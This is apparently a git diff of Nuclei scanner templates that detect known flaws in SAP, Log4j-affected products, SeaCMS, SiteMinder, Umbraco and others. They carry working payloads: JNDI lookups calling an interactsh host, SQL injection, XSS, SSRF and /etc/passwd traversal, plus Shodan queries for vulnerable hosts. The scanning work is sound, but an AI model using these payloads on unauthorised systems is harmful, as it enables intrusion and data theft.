{{Hostname}} + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Content-Type: application/x-www-form-urlencoded + Origin: {{BaseURL}} + Connection: close + Referer: {{BaseURL}}/user/login + + j_username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&j_password=admin + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable + + extractors: + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output diff --git a/vulnerabilities/other/sap-redirect.yaml b/vulnerabilities/other/sap-redirect.yaml index 906e0b928c..fdb3dab9d7 100644 --- a/vulnerabilities/other/sap-redirect.yaml +++ b/vulnerabilities/other/sap-redirect.yaml @@ -11,7 +11,7 @@ requests: - method: GET path: - - "{{BaseURL}}/sap/public/bc/icf/logoff?redirecturl=https://example.com" + - "{{BaseURL}}/sap/public/bc/icf/logoff?redirecturl=https://interact.sh" matchers-condition: and matchers: @@ -22,7 +22,7 @@ requests: - type: word words: - - "Location: https://www.example.com" - - "Location: https://example.com" + - "Location: https://www.interact.sh" + - "Location: https://interact.sh" condition: or part: header diff --git a/vulnerabilities/other/sar2html-rce.yaml b/vulnerabilities/other/sar2html-rce.yaml index d8d654126f..f85b537cc8 100644 --- a/vulnerabilities/other/sar2html-rce.yaml +++ b/vulnerabilities/other/sar2html-rce.yaml @@ -1,14 +1,18 @@ id: sar2html-rce info: - name: sar2html 3.2.1 - 'plot' Remote Code Execution + name: sar2html 3.2.1 - Remote Command Injection author: gy741 severity: critical - description: SAR2HTML could allow a remote attacker to execute arbitrary commands on the system, caused by a command injection flaw in the index.php script. By sending specially-crafted commands, an attacker could - exploit this vulnerability to execute arbitrary commands on the system. + description: | + SAR2HTML could allow a remote attacker to execute arbitrary commands on the system via a command injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system. reference: - https://www.exploit-db.com/exploits/49344 - tags: sar2html,rce,oast + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: sar2html,rce,oast,edb requests: - raw: @@ -22,3 +26,5 @@ requests: part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/seacms-sqli.yaml b/vulnerabilities/other/seacms-sqli.yaml index 1eb29a5bc1..1245702c75 100644 --- a/vulnerabilities/other/seacms-sqli.yaml +++ b/vulnerabilities/other/seacms-sqli.yaml @@ -8,10 +8,13 @@ info: - https://www.uedbox.com/post/54561/ tags: seacms,sqli +variables: + num: "999999999" + requests: - method: GET path: - - "{{BaseURL}}/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5(202072102)))),@`%27`" + - "{{BaseURL}}/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20md5({{num}})))),@`%27`" redirects: true max-redirects: 2 @@ -20,7 +23,7 @@ requests: - type: word part: body words: - - "6f7c6dcbc380aac3bcba1f9fccec991e" + - '{{md5({{num}})}}' - type: status status: diff --git a/vulnerabilities/other/seowon-router-rce.yaml b/vulnerabilities/other/seowon-router-rce.yaml index 527e8bffe9..a24dc18873 100644 --- a/vulnerabilities/other/seowon-router-rce.yaml +++ b/vulnerabilities/other/seowon-router-rce.yaml @@ -4,10 +4,15 @@ info: name: Seowon 130-SLC router - Remote Code Execution author: gy741 severity: critical - description: Execute commands without authentication as admin user, To use it in all versions, we only enter the router ip & Port(if available) in the request The result of the request is visible on the browser page + description: | + Seowon 130-SLC router lets remote attackers execute commands without authentication as admin users via the router ip & Port(if available) in the request. reference: - https://www.exploit-db.com/exploits/50295 - tags: rce,seowon,router,unauth,iot + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: unauth,iot,edb,rce,seowon,router requests: - raw: @@ -30,3 +35,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/showdoc-file-upload-rce.yaml b/vulnerabilities/other/showdoc-file-upload-rce.yaml index 8b382f16d5..10f0f470eb 100644 --- a/vulnerabilities/other/showdoc-file-upload-rce.yaml +++ b/vulnerabilities/other/showdoc-file-upload-rce.yaml @@ -1,12 +1,18 @@ id: showdoc-file-upload-rce info: - name: Showdoc < 2.8.6 File Upload RCE + name: Showdoc <2.8.6 - Remote Code Execution author: pikpikcu severity: critical + description: | + Showdoc versions before 2.8.6 is susceptible to remote code execution. reference: - https://github.com/star7th/showdoc/pull/1059 - tags: rce,fileupload,showdoc + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: rce,fileupload,showdoc,oss,intrusive requests: - raw: @@ -25,6 +31,7 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - '"url":"http:' - '"success":1' @@ -37,4 +44,6 @@ requests: extractors: - type: json json: - - '.url' \ No newline at end of file + - '.url' + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/sick-beard-xss.yaml b/vulnerabilities/other/sick-beard-xss.yaml index 5f0c2f5855..271e09dce1 100644 --- a/vulnerabilities/other/sick-beard-xss.yaml +++ b/vulnerabilities/other/sick-beard-xss.yaml @@ -1,7 +1,7 @@ id: sick-beard-xss info: - name: Sick Beard XSS + name: Sick Beard Cross-Site Scripting author: pikpikcu severity: medium reference: diff --git a/vulnerabilities/other/siteminder-dom-xss.yaml b/vulnerabilities/other/siteminder-dom-xss.yaml new file mode 100644 index 0000000000..9dde49a481 --- /dev/null +++ b/vulnerabilities/other/siteminder-dom-xss.yaml @@ -0,0 +1,35 @@ +id: siteminder-dom-xss + +info: + name: SiteMinder - DOM based Cross-Site Scripting + author: clarkvoss + severity: medium + description: SiteMinder DOM Based XSS. + reference: https://blog.reigningshells.com/2019/12/reviving-old-cves-reflected-xss-in-ca.html + metadata: + verified: true + google-query: inurl:"smpwservices.fcc" + tags: dom,xss,siteminder + +requests: + - method: GET + path: + - '{{BaseURL}}/siteminderagent/forms/smpwservices.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7' + - '{{BaseURL}}/siteminderagent/forms/smaceauth.fcc?USERNAME=\u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e&SMAUTHREASON=7' + + stop-at-first-match: true + matchers-condition: and + matchers: + + - type: word + words: + - '\u003d\u0022confirm(document.domain)\u0022\u003e you cannot access your' + + - type: word + part: header + words: + - 'text/html' + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/sl-studio-lfi.yaml b/vulnerabilities/other/sl-studio-lfi.yaml index 15e7f3d46c..4ae06e01eb 100644 --- a/vulnerabilities/other/sl-studio-lfi.yaml +++ b/vulnerabilities/other/sl-studio-lfi.yaml @@ -1,13 +1,18 @@ id: sl-studio-lfi info: - name: Webbdesign SL-Studio Directory Traversal + name: Webbdesign SL-Studio - Local File Inclusion author: 0x_Akoko severity: high + description: Webbdesign SL-Studio is vulnerable to local file inclusion. reference: - https://cxsecurity.com/issue/WLB-2018110187 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 metadata: - google-dork: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.' + google-query: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.' tags: slstudio,lfi requests: @@ -24,3 +29,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/sofneta-mecdream-pacs-lfi.yaml b/vulnerabilities/other/sofneta-mecdream-pacs-lfi.yaml index 88c4402fbb..0a55207510 100644 --- a/vulnerabilities/other/sofneta-mecdream-pacs-lfi.yaml +++ b/vulnerabilities/other/sofneta-mecdream-pacs-lfi.yaml @@ -1,16 +1,20 @@ id: sofneta-mecdream-pacs-lfi info: - name: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal + name: Softneta MedDream PACS Server Premium 6.7.1.1 - Local File Inclusion author: 0x_akoko severity: high - description: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal + description: Softneta MedDream PACS Server Premium 6.7.1.1 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/45347 - https://www.softneta.com/products/meddream-pacs-server/downloads.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 metadata: - google-dork: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login - tags: sofneta,lfi + google-query: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login + tags: sofneta,lfi,edb requests: - method: GET @@ -25,3 +29,5 @@ requests: - "fonts" - "extensions" condition: and + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/solar-log-authbypass.yaml b/vulnerabilities/other/solar-log-authbypass.yaml index bc839a4439..305f426d9f 100644 --- a/vulnerabilities/other/solar-log-authbypass.yaml +++ b/vulnerabilities/other/solar-log-authbypass.yaml @@ -10,7 +10,7 @@ info: - https://www.exploit-db.com/exploits/49986 classification: cwe-id: CWE-284 - tags: solarlog,auth-bypass + tags: solarlog,auth-bypass,edb requests: - method: GET diff --git a/vulnerabilities/other/solarview-compact-xss.yaml b/vulnerabilities/other/solarview-compact-xss.yaml new file mode 100644 index 0000000000..aa9b72ec3d --- /dev/null +++ b/vulnerabilities/other/solarview-compact-xss.yaml @@ -0,0 +1,33 @@ +id: solarview-compact-xss + +info: + name: SolarView Compact 6.00 - Cross-Site Scripting + author: ritikchaddha + severity: medium + description: | + SolarView Compact v6.0 is vulnerable to cross-site scripting (XSS) vulnerability via `fname` at /Solar_Image.php. + metadata: + verified: true + shodan-query: http.html:"SolarView Compact" + tags: xss,solarview + +requests: + - method: GET + path: + - '{{BaseURL}}/Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'value="test">">' + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/sonicwall-sslvpn-shellshock.yaml b/vulnerabilities/other/sonicwall-sslvpn-shellshock.yaml index d82664d278..36b6f701e6 100644 --- a/vulnerabilities/other/sonicwall-sslvpn-shellshock.yaml +++ b/vulnerabilities/other/sonicwall-sslvpn-shellshock.yaml @@ -1,13 +1,18 @@ id: sonicwall-sslvpn-shellshock info: - name: Sonicwall SSLVPN ShellShock RCE + name: Sonicwall SSLVPN - Remote Code Execution (ShellShock) author: PR3R00T severity: critical - description: A vulnerability in Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands. + description: | + Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands. reference: - https://twitter.com/chybeta/status/1353974652540882944 - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: shellshock,sonicwall,rce,vpn requests: @@ -21,9 +26,12 @@ requests: matchers-condition: and matchers: - type: regex + part: body regex: - "root:.*:0:0:" - part: body + - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/spark-webui-unauth.yaml b/vulnerabilities/other/spark-webui-unauth.yaml index 6ca1120cb0..562ef064d8 100644 --- a/vulnerabilities/other/spark-webui-unauth.yaml +++ b/vulnerabilities/other/spark-webui-unauth.yaml @@ -6,7 +6,7 @@ info: severity: medium reference: - https://github.com/vulhub/vulhub/tree/master/spark/unacc - tags: spark,unauth + tags: unauth,vulhub,spark requests: - method: GET diff --git a/vulnerabilities/other/sponip-network-system-ping-rce.yaml b/vulnerabilities/other/sponip-network-system-ping-rce.yaml index 98ed9e10b1..f5411de1dc 100644 --- a/vulnerabilities/other/sponip-network-system-ping-rce.yaml +++ b/vulnerabilities/other/sponip-network-system-ping-rce.yaml @@ -1,11 +1,17 @@ id: sponip-network-system-ping-rce info: - name: Sponip Network System Ping RCE + name: Sponip Network System Ping - Remote Code Execution author: pikpikcu severity: critical + description: | + Sponip Network System Ping is susceptible to remote code execution. reference: - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247486018&idx=1&sn=d744907475a4ea9ebeb26338c735e3e9 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: sponip,rce,oast,network requests: @@ -23,3 +29,5 @@ requests: name: http words: - "http" + +# Enhanced by mp on 2022/05/30 diff --git a/vulnerabilities/other/surrealtodo-lfi.yaml b/vulnerabilities/other/surrealtodo-lfi.yaml new file mode 100644 index 0000000000..192c0a9844 --- /dev/null +++ b/vulnerabilities/other/surrealtodo-lfi.yaml @@ -0,0 +1,34 @@ +id: surrealtodo-lfi + +info: + name: Surreal ToDo 0.6.1.2 - Local File Inclusion + author: arafatansari + severity: high + description: | + Surreal ToDo 0.6.1.2 is vulnerable to local file inclusion via index.php and the content parameter. + reference: + - https://www.exploit-db.com/exploits/45826 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + metadata: + verified: true + tags: surreal,lfi,edb + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php?content=../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/symantec-messaging-gateway.yaml b/vulnerabilities/other/symantec-messaging-gateway.yaml index ab5c216ab1..5e32b82103 100644 --- a/vulnerabilities/other/symantec-messaging-gateway.yaml +++ b/vulnerabilities/other/symantec-messaging-gateway.yaml @@ -1,10 +1,14 @@ id: symantec-messaging-gateway info: - name: Symantec Messaging Gateway LFI + name: Symantec Messaging Gateway <=10.6.1 - Local File Inclusion author: Random_Robbie - severity: medium - description: Symantec Messaging Gateway <= 10.6.1 Directory Traversal + severity: high + description: Symantec Messaging Gateway 10.6.1 and prior are vulnerable to local file inclusion. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: lfi,messaging,symantec requests: @@ -21,3 +25,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/tamronos-rce.yaml b/vulnerabilities/other/tamronos-rce.yaml index 2b473e957c..581c85bc75 100644 --- a/vulnerabilities/other/tamronos-rce.yaml +++ b/vulnerabilities/other/tamronos-rce.yaml @@ -1,11 +1,17 @@ id: tamronos-rce info: - name: TamronOS IPTV/VOD RCE + name: TamronOS IPTV/VOD - Remote Command Execution author: pikpikcu severity: critical + description: | + TamronOS IPTV/VOD contains a remote command execution in the 'host' parameter of the /api/ping endpoint. reference: - https://twitter.com/sec715/status/1405336456923471874 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-78 metadata: verified: true shodan-query: title:"TamronOS IPTV็ณป็ปŸ" @@ -27,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by cs on 2022/05/13 diff --git a/vulnerabilities/other/thinkific-redirect.yaml b/vulnerabilities/other/thinkific-redirect.yaml index 90dc713ceb..a5baf35e95 100644 --- a/vulnerabilities/other/thinkific-redirect.yaml +++ b/vulnerabilities/other/thinkific-redirect.yaml @@ -10,7 +10,7 @@ requests: - method: GET path: - - "{{BaseURL}}/api/sso/v2/sso/jwt?error_url=http://evil.com" + - "{{BaseURL}}/api/sso/v2/sso/jwt?error_url=http://interact.sh" matchers-condition: and matchers: @@ -19,6 +19,6 @@ requests: - 302 - type: word words: - - "" + - "\"@gmail.com') called at" - type: word part: header words: - "text/html" + + - type: status + status: + - 500 diff --git a/vulnerabilities/other/tikiwiki-json-rpc.yaml b/vulnerabilities/other/tikiwiki-json-rpc.yaml index 8d026c20d8..798471ff80 100644 --- a/vulnerabilities/other/tikiwiki-json-rpc.yaml +++ b/vulnerabilities/other/tikiwiki-json-rpc.yaml @@ -10,7 +10,7 @@ info: - https://github.com/act1on3/nuclei-templates/blob/master/vulnerabilities/kiwi-information-disclosure.yaml metadata: shodan-query: title:"Kiwi TCMS - Login",http.favicon.hash:-1909533337 - tags: kiwitcms,exposure,misconfig + tags: kiwitcms,exposure,misconfig,hackerone requests: - raw: diff --git a/vulnerabilities/other/tikiwiki-reflected-xss.yaml b/vulnerabilities/other/tikiwiki-reflected-xss.yaml index 6283ecd6fd..fc44d20757 100644 --- a/vulnerabilities/other/tikiwiki-reflected-xss.yaml +++ b/vulnerabilities/other/tikiwiki-reflected-xss.yaml @@ -1,7 +1,7 @@ id: tikiwiki-reflected-xss info: - name: Tiki Wiki CMS Groupware 5.2 Reflected Cross-site Scripting + name: Tiki Wiki CMS Groupware 5.2 Cross-Site Scripting author: madrobot severity: medium tags: xss,tikiwiki diff --git a/vulnerabilities/other/tpshop-directory-traversal.yaml b/vulnerabilities/other/tpshop-directory-traversal.yaml index e88bb55f43..2fd11e7655 100644 --- a/vulnerabilities/other/tpshop-directory-traversal.yaml +++ b/vulnerabilities/other/tpshop-directory-traversal.yaml @@ -1,11 +1,16 @@ id: tpshop-directory-traversal info: - name: TPshop Directory Traversal + name: TPshop - Local File Inclusion author: pikpikcu + description: TPshop is vulnerable to local file inclusion. severity: high reference: - https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: tpshop,lfi requests: @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/turbocrm-xss.yaml b/vulnerabilities/other/turbocrm-xss.yaml index 2f99cb2f82..09e6ae5ba9 100644 --- a/vulnerabilities/other/turbocrm-xss.yaml +++ b/vulnerabilities/other/turbocrm-xss.yaml @@ -1,7 +1,7 @@ id: turbocrm-xss info: - name: TurboCRM XSS + name: TurboCRM Cross-Site Scripting author: pikpikcu severity: medium description: A vulnerability in TurboCRM allows remote attackers to inject arbitrary Javascript into the response returned by the application. diff --git a/misconfiguration/vulnerabilities/other/umbraco-base-ssrf.yaml b/vulnerabilities/other/umbraco-base-ssrf.yaml similarity index 55% rename from misconfiguration/vulnerabilities/other/umbraco-base-ssrf.yaml rename to vulnerabilities/other/umbraco-base-ssrf.yaml index 39c49d6239..d68b7f076a 100644 --- a/misconfiguration/vulnerabilities/other/umbraco-base-ssrf.yaml +++ b/vulnerabilities/other/umbraco-base-ssrf.yaml @@ -1,17 +1,20 @@ id: umbraco-base-ssrf info: - name: Umbraco v8.14.1 - 'baseUrl' SSRF + name: Umbraco 8.14.1 - baseUrl Server-Side Request Forgery (SSRF) author: dhiyaneshDk severity: medium + description: Umbraco 8.1.4.1 allows attackers to use the baseUrl parameter to several programs to perform a server-side request forgery (SSRF) attack. reference: - https://www.exploit-db.com/exploits/50462 classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N - cvss-score: 5.3 - cve-id: CVE-2020-10770 - cwe-id: CWE-601 - tags: ssrf,umbraco,oast + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 6.8 + cwe-id: CWE-918 + metadata: + verified: true + shodan-query: http.html:"Umbraco" + tags: oast,edb,ssrf,umbraco requests: - method: GET @@ -21,8 +24,18 @@ requests: - '{{BaseURL}}/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=http://{{interactsh-url}}/' stop-at-first-match: true + req-condition: true + matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http" + + - type: dsl + dsl: + - "len(body_1)==0" + - "len(body_2)==0" + - "len(body_3)==0" + +# Enhanced by cs 08/03/2022 diff --git a/vulnerabilities/other/unauth-rlm.yaml b/vulnerabilities/other/unauth-rlm.yaml deleted file mode 100644 index 057a35f077..0000000000 --- a/vulnerabilities/other/unauth-rlm.yaml +++ /dev/null @@ -1,23 +0,0 @@ -id: unauth-rlm - -info: - name: Unauthenticated Reprise License Manager - author: Akincibor - severity: critical - tags: unauth,rlm - -requests: - - method: GET - path: - - "{{BaseURL}}/goforms/menu" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: body - words: - - "RLM Administration Commands" \ No newline at end of file diff --git a/vulnerabilities/other/unauth-spark-api.yaml b/vulnerabilities/other/unauth-spark-api.yaml index 504318c39a..75db17c1cf 100644 --- a/vulnerabilities/other/unauth-spark-api.yaml +++ b/vulnerabilities/other/unauth-spark-api.yaml @@ -3,7 +3,7 @@ id: unauth-spark-api info: name: Unauthenticated Spark REST API author: princechaddha - severity: medium + severity: critical description: The Spark product's REST API interface allows access to unauthenticated users. reference: - https://xz.aliyun.com/t/2490 diff --git a/vulnerabilities/other/unifi-network-log4j-rce.yaml b/vulnerabilities/other/unifi-network-log4j-rce.yaml index 8d823b5ac7..d712b2d473 100644 --- a/vulnerabilities/other/unifi-network-log4j-rce.yaml +++ b/vulnerabilities/other/unifi-network-log4j-rce.yaml @@ -1,16 +1,24 @@ id: unifi-network-log4j-rce info: - name: UniFi Network Log4j JNDI RCE + name: UniFi Network Application - Remote Code Execution (Log4j) author: KrE80r severity: critical - description: A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in an impacted UniFi Network Application . + description: | + UniFi Network Application is susceptible to a critical vulnerability in Apache Log4j (CVE-2021-44228) that may allow for remote code execution in an impacted implementation. reference: - https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e - https://twitter.com/sprocket_ed/status/1473301038832701441 + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 metadata: + verified: true shodan-query: http.title:"UniFi Network" - tags: rce,log4j,ubnt,unifi,oast,jndi + tags: cve,cve2021,rce,log4j,ubnt,unifi,oast,jndi requests: - raw: @@ -41,3 +49,5 @@ requests: group: 1 regex: - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/other/vanguard-post-xss.yaml b/vulnerabilities/other/vanguard-post-xss.yaml index aec8293448..adbac4d5d0 100644 --- a/vulnerabilities/other/vanguard-post-xss.yaml +++ b/vulnerabilities/other/vanguard-post-xss.yaml @@ -7,7 +7,7 @@ info: description: Persistent Cross-site Scripting in message & product title-tags also there's Non-Persistent Cross-site scripting in product search box reference: - https://packetstormsecurity.com/files/157099/Vanguard-2.1-Cross-Site-Scripting.html - tags: vanguard,xss + tags: vanguard,xss,packetstorm requests: - raw: diff --git a/vulnerabilities/other/viewlinc-crlf-injection.yaml b/vulnerabilities/other/viewlinc-crlf-injection.yaml index c17f20c71a..18b89426f1 100644 --- a/vulnerabilities/other/viewlinc-crlf-injection.yaml +++ b/vulnerabilities/other/viewlinc-crlf-injection.yaml @@ -1,10 +1,10 @@ id: viewlinc-crlf-injection info: - name: viewLinc viewLinc/5.1.2.367 (and sometimes 5.1.1.50) is vulnerable to CRLF Injection. + name: viewLinc 5.1.2.367 - Carriage Return Line Feed Attack author: geeknik severity: low - description: The viewLinc application allows remote attackers to inject a CRLF character into the responses returned by the product, this allows attackers to inject arbitrary HTTP headers into the response returned. + description: viewLinc 5.1.2.367 (and sometimes 5.1.1.50) allows remote attackers to inject a carriage return line feed (CRLF) character into the responses returned by the product, which allows attackers to inject arbitrary HTTP headers into the response returned. reference: - https://www.vaisala.com/en/products/systems/indoor-monitoring-systems/viewlinc-continuous-monitoring-system tags: crlf,viewlinc @@ -29,3 +29,5 @@ requests: - "Set-Cookie: crlfinjection=crlfinjection" part: header condition: and + +# Enhanced by mp on 2022/08/04 diff --git a/vulnerabilities/other/vmware-siterecovery-log4j-rce.yaml b/vulnerabilities/other/vmware-siterecovery-log4j-rce.yaml new file mode 100644 index 0000000000..d9b71fcb97 --- /dev/null +++ b/vulnerabilities/other/vmware-siterecovery-log4j-rce.yaml @@ -0,0 +1,48 @@ +id: vmware-siterecovery-log4j-rce + +info: + name: VMware Site Recovery Manager - Log4j Remote Code Execution + author: akincibor + severity: critical + description: | + A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in impacted VMware Site Recovery Manager. + reference: + - https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/ + - https://logging.apache.org/log4j/2.x/security.html + - https://nvd.nist.gov/vuln/detail/CVE-2021-44228 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + metadata: + verified: true + shodan-query: title:"VMware Site Recovery Manager" + tags: cve,cve2021,jndi,log4j,rce,oast,vmware + +requests: + - method: GET + path: + - '{{BaseURL}}/dr/authentication/oauth2/oauth2login?error=%24%7Bjndi%3Aldap%3A%2F%2F%24%7BhostName%7D.{{interactsh-url}}%7D' + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol # Confirms the DNS Interaction + words: + - "dns" + + - type: regex + part: interactsh_request + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable + + extractors: + - type: kval + kval: + - interactsh_ip # Print remote interaction IP in output + + - type: regex + part: interactsh_request + group: 1 + regex: + - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output diff --git a/vulnerabilities/other/vpms-auth-bypass.yaml b/vulnerabilities/other/vpms-auth-bypass.yaml index 1dcb73f600..8c12e1c61f 100644 --- a/vulnerabilities/other/vpms-auth-bypass.yaml +++ b/vulnerabilities/other/vpms-auth-bypass.yaml @@ -7,7 +7,7 @@ info: description: The Vehicle Parking Management System allows remote attackers to bypass the authentication system by utilizing an SQL injection vulnerability in the 'password' parameter. reference: - https://www.exploit-db.com/exploits/48877 - tags: auth-bypass + tags: auth-bypass,edb requests: - raw: diff --git a/vulnerabilities/other/watchguard-credentials-disclosure.yaml b/vulnerabilities/other/watchguard-credentials-disclosure.yaml index acbdf45a0a..5f12961cfe 100644 --- a/vulnerabilities/other/watchguard-credentials-disclosure.yaml +++ b/vulnerabilities/other/watchguard-credentials-disclosure.yaml @@ -4,12 +4,15 @@ info: name: WatchGuard Fireware AD Helper Component - Credentials Disclosure author: gy741 severity: critical - description: A credential-disclosure vulnerability in the AD Helper component of the WatchGuard Fireware Threat Detection and Response (TDR) service, which allows unauthenticated attackers to gain Active Directory - credentials for a Windows domain in plaintext. + description: WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext. reference: - https://www.exploit-db.com/exploits/48203 - https://www.watchguard.com/wgrd-blog/tdr-ad-helper-credential-disclosure-vulnerability - tags: watchguard,disclosure + classification: + cvss-metrics: CVSS:10.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-288 + tags: watchguard,disclosure,edb requests: - method: GET @@ -30,3 +33,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/06/03 diff --git a/vulnerabilities/other/webui-rce.yaml b/vulnerabilities/other/webui-rce.yaml index 57b71c0d34..116857b0ef 100644 --- a/vulnerabilities/other/webui-rce.yaml +++ b/vulnerabilities/other/webui-rce.yaml @@ -1,13 +1,17 @@ id: webui-rce info: - name: WebUI 1.5b6 RCE + name: WebUI 1.5b6 - Remote Code Execution author: pikpikcu severity: critical - description: WebUI's 'mainfile.php' endpoint contain a vulnerability that allows remote attackers to cause it to execute arbitrary code via the 'Logon' parameter. + description: WebUI 1.5b6 is vulnerable to remote code execution because the 'mainfile.php' endpoint allows remote attackersto execute arbitrary code via the 